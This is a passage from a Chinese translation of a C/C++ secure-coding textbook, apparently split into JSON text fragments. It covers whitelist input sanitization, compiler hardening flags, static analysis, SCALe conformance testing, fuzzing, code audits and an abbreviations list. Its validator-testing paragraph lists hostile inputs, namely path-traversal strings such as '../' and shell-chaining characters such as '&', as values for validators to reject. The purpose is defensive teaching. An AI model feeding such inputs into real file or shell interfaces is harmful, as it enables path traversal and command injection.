这种方法的问题在于它要求程序员识别出所有的危险字符及字符组合。如果对被调用的程序、进程、库或组件没有详尽了解，想做到这一点是非常困难的，甚至是不可能的。此外，依赖于程序环境，对于在成功地绕过黑名单检查后，可能被解释为具有恶意的效果的输入，存在很多种编码或转义方式。 未知 9.4.9 白名单 数据净化的一个更好的方法是定义一个可接受的字符列表，并移除任何不可接受的字符。有效输入值列表通常是一个可预知的、定义良好的集合，并且其大小易于管理。例如，考虑例9.2中所示的由Wietse Venema编写的tcp_wrappers包。 例9.2 Wietse Venema编写的tcp_wrappers包 01 int main(void) { 02 static char ok_chars[] = \"abcdefghijklmnopqrstuvwxyz\\ 03 ABCDEFGHIJKLMNOPQRSTUVWXYZ\\ 04 1234567890_-.@\"; 05 06 char *user_data; /* 指向环境字符串的指针 */ 07 char *cp; /* 进入示例字符串的游标*/ 08 09 user_data = getenv(\"QUERY_STRING\"); 10 printf(\"%s\\n\", user_data); 11 for (cp = user_data; *(cp += strspn(cp, ok_chars)); ) 12 *cp = '_'; 13 printf(\"%s\\n\", user_data); 14 exit(0); 15 } 白名单的好处在于，程序员可以确定一个字符串中仅仅包含他认为安全的字符。 白名单比黑名单更受推荐的原因是，程序员不必花力气去捕捉所有不可接受的字符，只需确保识别了可接受的字符。这样一来，程序员就不用绞尽脑汁去考虑攻击者可能尝试哪些字符来绕过安全检查了。 未知 9.4.10 测试 在你实现了数据净化和输入验证功能之后，对其进行测试是非常重要的，这样才能确保它们不准许危险值通过。非法值的集合取决于上下文。这里列举了一些也许会传递给shell或在文件名中使用的非法字符串值：空字符串、“.”、“..”、“../”、以“/”或“.”开始的字符串、任何含有“/”或“&”的字符串、控制字符，以及任何占有最大位数的字符（尤其是十进制值254和255）。再次强调，你的代码不应该检查危险值，而应该通过测试来确保你的输入验证函数将输入值限定于安全的值。"},
    {"text": "未知 9.5 实现 9.5.1 编译器检查 C和C++编译器对于类型检查通常都不严格，但是你一般可以提升检查级别，从而能够自动侦测到某些错误。开启尽可能多的编译器警告，并修改代码，以便不带警告地通过编译。严格地使用不同头（.h）文件中的ANSI原型，以确保所有函数调用都使用正确的类型。 当使用GCC编译C或C++程序的时候，至少使用下面的编译标记（会在主机上发出警告消息）并尝试消除所有警告： gcc -Wall -Wpointer-arith -Wstrict-prototypes -O2 之所以使用-O2标记，是因为某些警告只能被执行于更高优化级别上的数据流分析侦测到。你也可能希望使用-W-pedantic或更专门的标记（如-Wstrict-overflow=3）来诊断可能导致边界检查错误的代数简化。 对于使用Visual C++的开发人员来说，应该使用/GS选项来启用测试仪（canary），并执行某种栈重组以防止常见的利用。这种栈重组随着时间的推移不断进化。图9.9展示了Visual C++中的/GS选项的进化过程。在Visual Studio11中，/GS选项进一步增强[Burrell 2012]。微软指出，在审查不被现有的/GS机制包括的基于栈的冲突案例时，发现空终止符错位是一个普遍的问题。例如，在下面的程序片段，ManipulateString（）函数正确地把数据写入字符串buf的范围内，但没有跟踪最终生成的字符串的长度cch。 01 char buf[MAX]; 02 int cch; 03 ManipulateString(buf, &cch); 04 buf[cch] = '\\0'; 图9.9 Visual C++中的/GS标志 用空字符终止字符串的指令可能因此在不破坏由/GS选项安装的cookie的情况下写到字符串缓冲区的范围之外。为了解决这个问题，Visual Studio会在以下生成的汇编代码第3行插入范围验证指令行，以防范越界写入内存。 01 move eax, DWORD PTR _cch$[ebp] 02 mov DWORD PTR $T1[ebp], eax 03 cmp DWORD PTR $T1[ebp], 20 ; 0000014H 04 jae SHORT $LN3@main 05 jmp SHORT $LN4@main 06 $LN3@main: 07 call __report_rangecheckfailure 08 $LN4@main: 09 mov ecx, DWORD PTR $T1[ebp] 10 mov BYTE PTR _buf$[ebp+ecx], 0 粗略地说，编译器已插入的代码相当于下面的代码片段用空字符终止字符串前的第4至第7行。 01 char buf[MAX]; 02 int cch; 03 ManipulateString(buf, &cch); 04 if (((unsigned int) cch) >= MAX) { 05 __report_rangecheckfailure(); 06 } 07 buf[cch] = '\\0'; SDL包括一些超出/GS范围以外的编译器能协助安全软件开发的建议。这些范围包括特定的代码生成功能，如使用strict_gs_check生成与安全相关的编译器警告，以及适当地初始化或净化指针的更普遍的建议[Burrell 2011]。Visual Studio 2012增加了一个新的/sdl开关，它提供了一个单一的机制来启用这些额外的安全性支持。/sdl开关使SDL强制编译器在编译期间把警告视为错误，同时还启用额外的代码生成功能，如增加栈缓冲区溢出保护的范围并把指针初始化或净化为一组有限的良好定义的场景。/sdl编译器开关在默认情况下是禁用的，但可以通过打开当前项目属性页并访问配置属性→C/C++→常规选项来启用。 未知 9.5.2 仿佛无限范围整数模型 第5章第5.6节中描述的仿佛无限范围（AIR）整数模型，是一个编译器增强功能，它检测保证，要么是整数值等于使用无限范围的整数得到的值，要么发生运行时异常。虽然最初的基于GCC编译器的原型显示，-02优化级别在运行宏基准SPECINT 2006时速度仅下降了5.58％[Dannenberg 2010]，第二个使用LLVM构建的原型无法重现这些结果。"},
    {"text": "未知 9.5.3 有安全保证的C/C++ 对于任何使得在软件基础设施的可靠性方面有重大区别的解决方案，工作中的程序员必须把方法纳入他们用来构建应用程序的工具中。然而，仅基于运行时保障模式的解决方案具有很高的开销。Richard Jones和Paul Kelly[Jones 1997]实现的运行时边界检查对于大多数程序有5～6倍的开销。Olatunji Ruwase和Monica Lam[Ruwase 2004]扩展了Jones和Kelly的方法，以支持更多种类的C程序，但如果对所有对象执行边界检查，报告的速度以11～12倍的倍数减慢，如果只是几个重大程序甚至只执行字符串界限检查，则速度减慢的倍数从1.6～2倍。这些开销对于“生产代码”（即，完成的代码部署到最终用户）是高得离谱的，如果把边界检查用作一种安全机制而不只是用于调试，这是非常重要的。Dinakar Dhurjati和Vikram Adve提供的在C和C++程序中的数组和字符串运行时边界检查，通过使用细粒度的内存分区[Dhurjati 2006]，有超过12％的平均运行时开销。 编译器的生产者构成软件生产供应链中的一个段，这是与质量工具生产者相当不同的。每个硬件公司通常保持一定数量的编译器小组，几个大型软件生产商也是这样做的，还有几个专门的编译器生产商。此外，还有一个支持开源GNU编译器集合（GCC）的个人和公司的大社区。将这些不同的群体加在一起，就有超过100个编译器厂商。CERT的解决方案是把静态分析和动态分析相结合，以低开销处理遗留代码。这些方法可以用来消除几个重要类型的安全漏洞，包括在对象的范围之外写（例如缓冲区溢出）、在对象的范围之外读，以及任意读/写操作（例如，野指针存储）[Plum 2005]。例如，缓冲区溢出的问题，那些可以在编译和链接的时间解决的由静态分析解决，那些只能在运行时解决的问题，则使用高度优化的代码序列的动态分析来解决。CERT正在扩展一个开放源码的编译器来执行有安全保证的C/C++的分析方法，如图9.10所示。 图9.10 有安全保证的C/C++的分析方法"},
    {"text": "未知 9.5.4 静态分析 静态分析器在源代码上操作，生产潜在的错误或意外的运行时行为的诊断警告。有许多用于C和C++程序的商业分析器，包括Coverity Prevent、LDRA、HP Fortify、Klocwork、GrammaTech CodeSonar和PCLint。也有一些很好的开源分析器，包括ECLAIR [1] 和由劳伦斯·利弗莫尔国家实验室开发的Compass/ROSE工具 [2] 。如GCC和Microsoft Visual C++编译器（尤其是使用\\analyze模式时）也能提供非常有用的安全诊断。爱迪生设计集团（Edison Design Group，EDG）编译器前端，也可用于分析的目的。它支持C++语言的ISO/IEC14882:2003标准，也支持ISO/IEC 14882:2011标准的许多功能。在命令行选项的控制下，前端也支持ANSI/ISO C（既包括C89又包括C99，以及嵌入式的C TR）、微软方言的C和C++（包括C++/CLI）、GNU C和C++以及其他编译器。 静态分析技术虽然有效，但容易出现误报和漏报。为了在最大程度上可行，分析器强制执行的规则都应该是完备和可靠的。如果对于一个特定的规则，分析器不给出漏报的结果，则它被认为是可靠的，这意味着它能够找到整个程序中所有违反规则的情况。如果分析器不给出误报的结果，或假警报，那么它被认为是完备的。表9.4中列出了一个给定规则的可能性。 表9.4 完备性和可靠性 在最大限度地减少误报和漏报上有很多取舍。同时使两者都尽量少显然是更好的，且许多技术和算法都在一定程度上实现了这一点。然而，一旦一种分析技术达到其能力的有效前沿，而没有根本性的突破，就必须在权衡这两个因素（和其他因素，如可扩展性和自动化）的曲线上选择一个点。自动化工具，在需要最少的人工输入且大规模的代码库的有效前沿上，在误报和漏报之间往往存在紧张的关系。 在某个极端上的分析器很容易建立。分析器以大量的误报为代价，可以报告程序中所有的行，并且没有漏报。反之，分析器以不报告可以被自动检测到的真正的缺陷为代价，可以什么也不报告，并且没有误报。误报率高的分析器浪费了开发人员的时间，他们可能对分析结果失去兴趣，并因此错过了遗失在噪声中的真正的错误。带有大量漏报的分析器则错过了很多应该发现的缺陷。在实践中，工具需要在两者之间取得平衡。 分析器应当可以分析代码，同时无过多的误报，即使代码是在不期望得到分析的情况下开发的。许多分析器提供了方法来消除研究分析器的每一个调用的每一个诊断的需要，这是一个重要的避免无用功的功能。 可采用各种不同的方式来使用静态分析工具。一个常见的模式是把工具整合到持续构建/集成的进程中。另一个用法是一致性测试，将在本节后面介绍。 遗憾的是，不同的供应商用各自专门的方式执行安全的静态分析中的应用程序，由此造成重大安全问题的覆盖面不均匀。例如，最近的一项研究[Landwehr 2008] 发现，所有五个研究的C 和C++ 源代码分析工具都未能诊断出210 个测试用例中超过40％的用例，而只有7.2％的测试用例被所有五个工具成功地诊断出，如图9.11 所示。NIST 静态分析工具大全（NIST Static Analysis Tool Exposition，SATE）也表明，开发全面的静态分析工具分析标准是有问题的，因为构成正确报告或误报的事物，有很多不同的角度[Okun 2009]。 为了解决这些问题，WG14 C标准委员会正在研制ISO/IEC TS17961，C安全编码规则[Seacord 2012a]。本技术规范为分析器（包括静态分析工具和希望超越语言标准的要求诊断不安全的代码的C语言编译器）定义了指定的规则。TS17961列举安全编码规则并要求分析引擎诊断违反这些规则的情况，把这作为符合本规范要求的事项。所有这些规则的目的都是要由静态分析来执行。这些规则可以用依赖于实现的方式扩展，它为任何及所有符合要求的静态分析实现的用户提供了一个最小覆盖保证。规则不依赖于源代码注释或程序员意图的假设。然而，一个符合标准的实现可能会利用注释来通知分析器。成功采用该技术规范将为安全问题提供更均匀的覆盖面，其中包括许多在NIST SATE中遇到的问题。 图9.11 C和C++的“广度”用例覆盖率（资料来源：[Landwehr 2008]） 分析器是可信的进程，这意味着，开发人员依靠它们的输出。因此，开发人员必须确保这种信任没有错。要赢得这种信任，理想情况下分析器供应商应该运行适当的验证测试。CERT正协调开发免费提供于任何用途的TS17961符合性测试套件 [3] 。目前，此套件可以在Linux（Ubuntu的）和OS X上运行，并已用GCC（4.4.6，4.6.1和4.6.3）、Coverity6.0.1.Clang3.0,和Splint3.1.2来测试。该套件的C部分（报告器）已在Linux和OS X上的GCC和Clang构建完成。这一套件包括一个测试驱动、一个用来显示结果的报告器和一组建立测试清单结构，并验证诊断行号和测试文件中的文档记录相一致（使用编辑测试或增加新的测试）的工具。共有覆盖45个规则的144个测试文件。 [1] 参见http://bugseng.com/products/ECLAIR。 [2] 参见www.rosecompiler.org/compass.pdf。 [3] 参见https://github.com/SEI-CERT/scvs。"},
    {"text": "未知 9.5.5 源代码分析实验室 9.3节介绍的CERT安全编码标准定义了一组安全编码规则。这些规则用来消除那些导致常用的软件开发语言以及其他也可能被证明为可利用的未定义行为的编码错误。源代码分析实验室（SCALe）[Seacord 2012b]可以用来测试软件应用程序是否符合《C安全编码标准》[Seacord 2008]。虽然这个版本的标准是针对C99开发的，但这些规则可以应用在其他版本的C编程语言或C++编写的程序中。这些编程语言编写的程序可能会符合这一标准，但它们可能在其他SCALe不提供评估的方式上存在不足。 SCALe对开发人员的源代码进行分析，并提供了一份详细的结论报告来指导代码的修复。在开发人员已经解决了这些结论后，SCALe团队确定该产品版本符合标准，CERT颁发给开发人员证书，并把该系统列在一个符合的系统注册表中。因此，可以采用SCALe作为衡量软件系统安全性的标准。 SCALe使用多个分析器（包括静态分析工具，动态分析工具和模糊化）评估客户源代码。诊断按照针对发布的规则进行过滤，然后由分析员评估，以确定它是否是一个真实的违反规则的情况或误报。然后这个分析结果，并报告给开发人员。然后，客户可能会修复并重新提交软件以进行重新评估。一旦重新评估过程完成，CERT将向客户提供一份报告，详述该软件对每个安全编码规则的符合或不符合情况。 SCALe中使用了多个分析工具，因为分析器往往有不重叠的功能。例如，一些工具可能擅长发现内存相关的缺陷（内存泄漏、释放后使用、空指针引用），而其他可能会在寻找其他类型的缺陷（未捕获异常、并发）方面更好。即使在寻找相同类型的缺陷（例如，检测固定大小超支，栈分配的数组）时，不同的分析工具将找到缺陷的不同实例。 SCALe同时使用商业静态分析工具（如Coverity Prevent、LDRA和PCLint）和开源工具（如Compass/ROSE）。CERT已开发诊断违反CERT安全编码标准在C和C++ Compass/ROSE工具的检查器，在劳伦斯·利弗莫尔国家实验室开发的检查器。这些检查器可在SourceForge上获得。 SCALe不测试与未知的代码相关的漏洞、高层次的设计和架构缺陷、代码的运行环境或代码的可移植性。符合性测试是对一组特定的软件进行，由一个特定的实现翻译，并在一个特定的执行环境中执行的[ISO/IEC 2007] [1] 。 一个软件系统的成功的一致性测试表明SCALe分析没有检测出违反由CERT安全编码标准定义的规则的情况。成功的一致性测试不能保证，该软件没有违反这些规则或该软件是完全和永久安全的。符合规定的软件系统可能仍是不安全的，例如，如果它们实现了一个不安全的设计或架构。 符合安全编码标准的软件可能会比不符合该标准或未经测试的软件系统更安全。然而，还没有研究可以证明或反驳这种说法。 [1] 参见http://rosecheckers.sourceforge.net/。 未知 9.5.6 深层防御 深层防御背后的思想是使用复合防御策略来管理风险，这样的话，当某一层防御失效的时候，另一层防御能够防止安全缺陷演变为可利用的漏洞，并且可以限制得逞的利用所导致的后果。例如，结合使用安全编程技术和安全的运行时环境，可以降低在部署时遗留在代码中的漏洞在操作环境中被利用的可能性。 深层防御的替代做法是依赖于单一的策略。例如，有了完备的输入验证，理论上就不再需要其他的防御了。例如，如果所有输入字符串都能经过校验且具备有效的长度，那么就不必使用有界字符串复制操作了，而且可以毫无顾忌地使用strcpy（）、memcpy（）及类似的操作。同样也没有必要提供任何类型的运行时保护来防止基于栈或堆的溢出，因为根本不存在溢出的机会。 尽管理论上可以开发出一个小程序并使用输入验证确保其安全，但对于实际的程序来说，这是办不到的。大型的实际程序由程序员团队开发，模块一旦完成，很少能保持一成不变。甚至在初次交给用户或最初的部署之前，也可能进行维护。随着时间的流逝，出于各种各样的原因，这些程序可能会被许多程序员修改。鉴于所有这些改变和复杂性，很难保证单凭输入验证就可以提供完备的安全性。 多层防御可以用于防止运行时漏洞利用，除此之外，对于识别开发和维护期间可能发生的变化也有帮助。 未知 9.6 验证 这一节我们将讨论一些着力于改进应用程序安全性的质量保证技术，包括渗透测试、模糊测试、代码审计、开发人员准则和检查清单以及独立安全审查。"},
    {"text": "未知 9.6.1 静态分析 很难找到可以由静态分析发现的缺陷的百分比信息。在LinkedIn的静态代码分析组的讨论中，Coverity Analysis的架构师Roger Scott表示，Coverity Prevent可能只能发现实际存在的缺陷中的20％。这个数字是由Coverity公司的使稳定的检查器保持低于20％的误报目标驱动的[Bessey 2010]。Cadence公司工程总监Elias Fallon的经验报告显示，在连续两个版本，IC614和IC615，商业软件产品大小类似的版本中，客户报告的缺陷[Fallon 2012]。IC614发布时有使用Coverity Prevent识别的314个静态分析缺陷和使用Purify和Valgrind发现的382个动态分析缺陷。IC615发布时有0个Coverity的缺陷和0个Purify/Valgrind的缺陷。在这种情况下，即使使用静态和动态分析工具确定的所有缺陷都被修复了，它对由客户发现缺陷的影响仍是微不足道的。然而，难以评估这些被消除的缺陷中有多少可能是潜在的安全漏洞，因为这些通常是由攻击者操纵边缘条件引起的，这些条件是不可能用正常用户提供的典型值测试到的。 未知 9.6.2 渗透测试 渗透测试（penetration testing）通常意味着从攻击者的角度探测应用程序、系统或网络，从而搜寻其潜在的漏洞。 渗透测试很有用，尤其是当使用架构风险分析来驱动测试的时候。渗透测试的优点在于能够获得对真实环境中安装的软件的良好理解。然而，任何忽略软件架构的黑盒渗透测试都不能发现软件深层次的风险。未能通过市面上那些过分简单的应用程序安全测试工具进行的笼统的黑盒测试的软件是必然会失败的。这也意味着粗略的渗透测试难以揭示系统的真实安全情况。不过，倘若连一个笼统的渗透测试都通过不了，那问题可就大了。 测试软件以验证软件是否满足安全需求，这是不可或缺的。除了扫描常见的漏洞之外，这种测试还包括严肃地尝试攻击软件并破坏其安全性。正如前面所讨论的，测试用例可以取自威胁模型、攻击模式、滥用例以及规范和设计。白盒测试和黑盒测试都是适用的，因为渗透测试既能测试功能性需求，又能测试非功能性需求。"},
    {"text": "未知 9.6.3 模糊测试 模糊测试或模糊化是一种查找软件中可靠性问题的方法，其中有些问题也许就是安全漏洞，这种方法是通过故意向程序接口输入无效数据或格式有误的数据而实现的。模糊测试通常是暴力破解（brute-force）的方法，并且需要执行大量的测试（包括使用多种变体以及测试多次），因此模糊测试一般需要自动地进行。 模糊测试是通过攻击接口来发现软件缺陷的若干种方式之一。任何应用程序接口（例如网络、文件输入、命令行、Web表单等）都可以进行模糊测试。其他攻击接口的方法包括探查、嗅探和回放、伪造（有效的消息）、淹没（有效或无效的消息）、劫持/中间人、恶意消息和失序消息。 模糊测试的目标随着被测试的接口类型而稍有变化。比方说，当测试一个应用程序能否正确地处理某个特定的协议时，目标包括发现导致截断消息的误处理、不正确的长度值，以及可能导致“不稳定的操作”（unstable operation）协议实现的非法类型代码。 动态随机化输入功能测试，也称作黑盒模糊化（black-box fuzzing），20世纪90年代早期以来已被广泛用于找出软件应用程序中的安全漏洞。例如，Justin Forrester和Barton Miller以模糊测试的方式在Windows NT上测试了超过30个基于GUI的应用程序，具体做法是使这些应用程序接受有效的键盘和鼠标事件流以及随机的Win 32消息流[Forrester 2000]。当应用程序接受了可以通过使用鼠标和键盘产生的随机的有效输入时，有21％的应用程序在测试中崩溃，另外有24％的程序挂起。当应用程序接受了原始的随机Win 32消息时，所有的程序都会崩溃或挂起 [1] 。从那时起，模糊测试逐渐发展为涵盖范围广泛的软件接口和各种测试方法的技术。 CERT基本模糊测试框架（Basic Fuzzing Framework，BFF）是一个用来发现运行在Linux和Mac OS X平台上的应用程序缺陷的软件测试工具 [2] 。CERT BFF使用Sam Hocevar的zzuf工具 [3] 来在应用程序文件接口执行基于变化的黑盒模糊测试[Hocevar 2007]。zzuf工具依次执行在测试中的应用程序。 BFF自动收集以独特的方式导致软件崩溃的测试用例并调试与崩溃相关的信息。BFF的目标是最大限度地减少软件供应商和安全研究人员通过模糊测试能够有效地发现并分析发现的安全漏洞所需的努力。CERT的故障观测引擎（Failure Observation Engine，FOE） [4] 对在Windows上运行的应用程序执行类似的功能。 黑盒模糊测试与更先进的技术，如自动化白盒模糊测试[Godefroid 2008]和动态测试生成[Molnar 2009]相比，它的代码路径覆盖是较差的。然而，尽管模糊测试工具和方法在进步，但使用这些相对简单的技术仍然在许多现代的应用软件中不断地发现安全漏洞[Godefroid 2010;Foote 2011;Dormann 2009,2012a,2012b]。因此，比较模糊测试方法的研究，一般建议使用混合的方法论以最大限度地发挥发现漏洞的功效[Alhazmi 2005b.Aslani 2008]。CERT的经验一直认为，黑盒模糊测试发现漏洞的有效性依赖于选择适当的工具参数和种子输入。Allen Householder和Jonathan Foote在他们撰写于2012年的论文中，描述了黑箱模糊测试的工作流程，以及用于选择模糊参数的算法，以最大限度地发现独特的应用程序错误[Householder 2012b]。在一篇单独的论文中，Householder描述了一种算法，在与实际的软件崩溃不相关的模糊化输入文件中有效地把按位的变更恢复成那些在原来的种子文件中发现的样子。通过消除对评估崩溃不是必需的按位的变更，该算法降低了分析崩溃测试用例的复杂性[Householder 2012a]。 攻击者经常使用ActiveX控件中的漏洞损害使用微软IE浏览器的系统。通过查看特制的网页，ActiveX控件中的编程或设计缺陷使得允许执行任意代码。Dranzer工具 [5] 使ActiveX开发人员能够在发布他们的控件之前测试其中的漏洞[Dormann 2008]。Dranzer可以在SourceForge上以一个开源项目的方式获得。 [1] 这份报告，以及模糊测试的其他信息，可以在www.cs.wisc.edu/~bart/fuzz/fuzz.html 找到。 [2] 参见www.cert.org/vuls/discovery/bff.html。 [3] 参见http://caca.zoy.org/wiki/zzuf。 [4] 参见www.cert.org/vuls/discovery/foe.html。 [5] 参见 www.cert.org/vuls/discovery/dranzer.html。"},
    {"text": "未知 9.6.4 代码审计 源代码应当接受审计和检验，以确保不含常见的安全缺陷和漏洞。当检查漏洞的时候，一个好方法是在源代码中识别出程序从非受信源接受用户输入的所有地方，并确保这些输入经过适当的验证。任何极易感染安全缺陷的C库函数都应该接受仔细的审查 [1] 。 源代码审计可以用于侦测所有类型的漏洞，但这依赖于代码审计人员的技能、耐心和韧性。但是，某些漏洞是很难侦测到的。以lprm程序中的缓冲区溢出漏洞为例，尽管已经针对这样的问题进行过审计，但漏洞仍然存在[Evans 1998]。 对于对安全性要求苛刻的组件，例如身份鉴别和授权系统，总是应该进行代码审计。例如，在识别专门的安全或加密的实例时，专家级复审者也许非常有用，而且可能建议你使用已经建立好的并得到事实证明的机制，例如专业水准的加密方法。 手动检查源代码是非常重要的，但它是劳动力密集型的，而且容易出错。源代码审计可辅以扫描源代码安全漏洞的静态分析工具。 [1] 这是另一个很好的避免使用这些函数的理由，因为即使它们不引入漏洞，也确实需要开发人员和安全分析师进行更多的审查。 未知 9.6.5 开发人员准则与检查清单 可以通过执行基于检查清单的设计和代码检验来确保软件的设计和实现远离那些已知的问题。检查清单同时也是TSP-Secure过程的一部分。 尽管检查清单是一个有用的工具，但它们也可能被误用，最常见的情况是在没有完全理解清单中条款本质的情况下就拿来使用。这可能会导致对问题的误解，或者对设计或实现进行不必要的或无正当理由的改动。 检查清单有三个目的。第一，作为一种对已知问题的提醒而存在，这样我们就能记得查找它们。第二，用于记录设计和代码中检查出的问题以及这些检查发生的时间。第三（或许是最具价值同时也是最容易忽略的目的），作为开发人员之间交流常见问题的一种手段。 检查清单处于不断的发展中。新的问题需要加入，而那些不会再发生的旧问题（可能由于它们的解决方案已经制度化，或者它们已经赶不上技术进化的步伐）应该从检查清单中移除，以免继续不必要地耗费精力。要想决定哪些条款应该保留或者从检查清单中移除，应当取决于欲检测那些条款所需付出的努力，以及已发现的缺陷的实际数量和严重程度。 未知 9.6.6 独立安全审查 独立安全审查（independent security review）可能根据审查的性质和范围而发生重大变化。安全审查可以放眼整体，也可以只着眼于某一局部。独立审查常常是在开发团队之外发起的。如果干得漂亮，可以（为安全性）作出颇具价值的贡献；如果做得不好，则可能对开发团队造成干扰，使整个团队偏离最佳的方向。 独立安全审查可以帮助我们实现更安全的系统。外部审查者会带来独立的观点，例如识别和纠正无效的假定。开发大型复杂系统的程序员往往会由于太贴近系统而失去大局观。比方说，安全性要求苛刻的应用程序的开发人员也许会为特定方面的安全问题殚精竭虑，却完全忽略了某些其他有漏洞的部分。经验丰富的审查人员熟悉常见的错误和最佳的解决方案，并能够提供概括性的观点，包括识别过程中的缺陷、架构上的弱点，以及设计和实现中需要额外或特别注意的地方。 独立安全审查还可以作为一个有用的管理工具。委托一个独立审查而且按审查结论的做法有助于管理，因为这样可以证明它们已经满足了预期的需求。此外，组织与管理机构之间的关系通常随着独立审查的额外保证而得到改善。组织委托独立安全审查的目的常常是将审查结果公之于众，特别是当评测具有权威性且得出正面结果的时候。 未知 9.6.7 攻击面回顾 如9.4节中所述，在设计期间的系统攻击面分析应该有助于降低系统风险。攻击面是一个系统的固有属性，它独立于任何已知或未被发现的漏洞。它也与攻击者的能力和行为无关。攻击面的大小是系统安全性的衡量标准之一。周期性地测量攻击面使开发人员可以确定，攻击面在增长还是在收缩，并且在后一种情况下，评估这种增长是否是必要的。 Pratyusa Manadhata和Jeannette Wing [Manadhata 2010]开发了一个正式的系统攻击面模型，并用它来比较企业级软件系统的版本。相同的研究人员证明，大多数开源软件，例如Firefox和ProFTP服务器的补丁，减少了系统的攻击面的测量。 微软已经开发并提供了一个免费的攻击面分析工具，它收录了在微软系统上安装新软件对操作系统攻击面所做的更改[LaRue 2012]。该工具允许 ·开发人员观察把他们的代码引入到Windows平台造成的攻击面的变化 ·IT专业人员评估由一个组织的业务线应用程序的安装造成的总攻击面的变化 ·IT安全审计师在威胁风险评价过程中评估一个安装在Windows平台上的特定软件的风险 ·IT安全事件响应者在调查期间（如果在部署阶段执行了系统基准扫描）更好地理解系统的安全状态 这种分析和比较系统攻击面的后果的能力是微软的SDL验证阶段的要求。"},
    {"text": "未知 9.7 小结 存在很多实践、过程、工具和技术，可以帮助改善软件的质量和安全性。关于这些缓解措施的有效性证据主要是逸闻趣事，虽然它们中的很多在预防或消除代码中的漏洞方面卓有成效。Steve Lipner和Michael Howard提供的实践证据表明，SDL的活动（例如威胁建模）可以减少为了与开发目标保持一致而发布的安全公告[Lipner 2005]。 安全编码要求对问题的精确理解和对有效解决方案的一致应用。安全的系统开发要求在软件开发生命周期中自始至终贯彻安全编码实践。 普通的代码缺陷和漏洞[Alhazmi 2005b]之间存在很强的相关性。其结果是，减少软件缺陷，也可以有效地消除漏洞（虽然直接针对安全缺陷总是更有效的）。 未知 9.8 阅读材料 《C安全编码标准》[Seacord 2008]接着本书结束处继续定义了一套在C中进行安全编码的规则和建议。《C安全编码标准》被组织为一份参考资料，并包括因为篇幅的限制不能包括在本书中的额外细节。 要想更多地了解输入验证，可以阅读John Viega和Matt Messier的《Secure Programming Cookbook for C and C++》[Viega 2003]中的“Input Validation”这一章，以及David Wheeler的《Secure Programming for Linux and UNIX HOWTO》[Wheeler 2003]中的“Validate All Input”这一章。"},
    {"text": "未知 缩略语 ABI Application binary interface（应用程序二进制接口） ACL Access control list（访问控制列表） AFP AppleTalk Filing Protocol（AppleTalk Filing协议） AFS Andrew File System（Andrew文件系统） AIR As-if infinitely ranged（仿佛无限范围） ANSI American National Standards Institute（美国国家标准协会） API Application programming interface（应用编程接口） APT Advanced persistent threat（高级持续威胁） ASCII American Standard Code for Information Interchange（美国标准信息交换码） ASLR Address space layout randomization（地址空间布局随机化） ASN Abstract syntax notation（抽象语法标记） ATM Automated teller machine（自动柜员机） BCPL Basic Combined Programming Language（基本组合编程语言） BFF Basic Fuzzing Framework（CERT software testing tool）基本模糊化框架（CERT软件测试工具） BP Base pointer（基址指针） BSD Berkeley Software Distribution（伯克利软件套件） BSS Block started by symbol（由符号开始的区块） CDE Common desktop environment（公共桌面环境） CFS Cryptographic File System（加密文件系统） CISC Complex instruction set computer（复杂指令集计算机） CMOS Complementary metal oxide semiconductor（互补型金属氧化物半导体） CMU Carnegie Mellon University（卡内基梅隆大学） CPP C preprocessor（C预处理器） CPU Central processing unit（中央处理单元） CR Carriage return（回车） CRED C range error detector（C范围错误侦测器） CRT C runtime（C运行时） CSI Computer Security Institute（计算机安全研究院） CVS Concurrent Versions System（并发版本管理系统） DAG Directed acyclic graph（有向无环图） DARPA Defense Advanced Research Projects Agency（美国国防部高级研究计划局） DCOM Distributed component object model（分布式组件对象模型） DEP Data execution prevention（数据执行保护） DFS Distributed file system（分布式文件系统） DHCP Dynamic Host Configuration Protocol（动态主机配置协议） DHS Department of Homeland Security（国土安全部） DLL Dynamic-link library（动态链接库） DoS Denial of service（拒绝服务） DRAM Dynamic Random-Access Memory（动态随机访问存储器） EBP Extended base pointer（扩展基址指针） EGID Effective group ID（有效组ID） EIP Extended Instruction Pointer（扩展指令指针） ELF Executable and link format（可执行和链接格式） EOF End of file（文件结束符） EUID Effective user ID（有效用户ID） EXE Executable（可执行的） FD Forward pointer（前向指针） FedCIRC Federal Computer Incident Response Center（美国联邦计算机事故反应中心） FOE Failure Observation Engine（CERT software testing tool）失败观察引擎（CERT软件测试工具） FTP File transfer protocol（文件传输协议） GB Gigabyte（2 30 字节） GC Garbage collector（垃圾回收） GCC GNU CCompiler（also GNV Compiler Collection）（GNU编译器集合） GDB GNU debugger（GNU调试器） GID Group ID（组ID） GMP GNU multiple precision（arithmetic library）（GNU高精度算术运算库） GNU GNU抯 Not UNIX!（GNU并非UNIX！"},
    {"text": "） GOT Global offset table（全局偏移表） GSWTK Generic Software Wrappers Toolkit（通用软件打包工具箱） GUI Graphical user interface（图形用户接口） HFS+ Hierarchical File System Extended Format（层次文件系统扩展格式） HP-UX Version of UNIX running on Hewlett-Packard workstations（运行于HP工作站之上的UNIX版本） HTML Hypertext markup language（超文本标记语言） HTTP Hypertext transfer protocol（超文本传输协议） IAT Import address table（导入地址表） IBM International Business Machines（国际商业机器公司） ID Identification（鉴别） IDS Intrusion detection software（指令检测软件） IE Internet Explorer（微软互联网浏览器） IEC International Electrotechnical Commission（国际电工技术委员会） IEEE Institute of Electrical and Electronics Engineers（电气与电子工程师学会） IIS Internet information server（微软互联网信息服务器） I/O Input/output（输入/输出） IP Internet protocol（互联网协议） IPC Interprocess communication（进程间通信） IRC Internet relay chat（互联网多线交谈） ISC Internet Systems Consortium（互联网系统联合会） ISO International Organization for Standardization（国际标准化组织） IT Information technology（信息技术） JDK Java Development Kit（Java开发工具包） JFS Journaled File System（日志文件系统） JIT Just-in-time（即时） JNI Java Native Interface（Java本地接口） JPEG Joint Photographic Experts Group（联合图像专家组） LF Line feed（换行） LHS Left-hand side（左侧） LIFO Last in，first out（后进先出） LSD Last Stage of Delirium（Research Group）（一个黑客组织） MDAC Microsoft Data Access Components（微软数据访问组件） MIME Multipurpose Internet mail extensions（多用途网际邮件扩充协议） MIPS Million instructions per second（每秒百万指令） MIT Massachusetts Institute of Technology（麻省理工学院） MS Microsoft（微软公司） MTA Mail transfer agent（邮件转发代理） NaI Not an Integer（不是一个整数） NaN Not a Number（不是一个数值） NCS National Communications System（国家通信系统） NFS Network file system（网络文件系统） NIPC National Infrastructure Protection Center（国家基础设施保护中心） NIST National Institute of Standards and Technology（国家标准和技术研究机构） NTBS Null-terminated byte string（以空字符结尾的字节串） NTMBS Null-terminated multibyte string（以空字符结尾的多字节串） NVD National 